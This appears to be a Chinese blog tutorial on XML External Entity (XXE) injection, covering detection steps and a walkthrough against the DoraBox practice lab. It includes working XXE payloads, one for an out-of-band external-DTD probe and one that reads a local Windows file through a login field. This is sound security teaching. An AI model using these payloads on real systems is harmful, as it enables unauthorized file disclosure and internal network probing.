
什么是XXE
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
XXE检测
第一步检测XML是否会被成功解析:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
如果页面输出了my name is nMask,说明xml文件可以被解析。
第二步检测服务器是否支持DTD引用外部实体:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。
XXE漏洞的危害
xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。
XXE实战
下面以DoraBox中的XXE为例做分析与研究:
分析:登录认证逻辑设计

处理逻辑:
从上面可以看到,这里允许加载外部实体,这里利用一波~
利用:
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<user><username>&xxe;</username><password>admin</password></user>

成功读取到c:\winodws\win.ini文件中的内容~

本文介绍了XML外部实体注入(XXE)的概念,详细阐述了XXE的检测方法,包括验证XML解析及服务器对DTD的支持,并讨论了XXE漏洞可能带来的危害,如文件读取和命令执行等。最后,通过DoraBox中的XXE实例,展示了如何利用XXE进行安全分析。
1866

被折叠的 条评论
为什么被折叠?



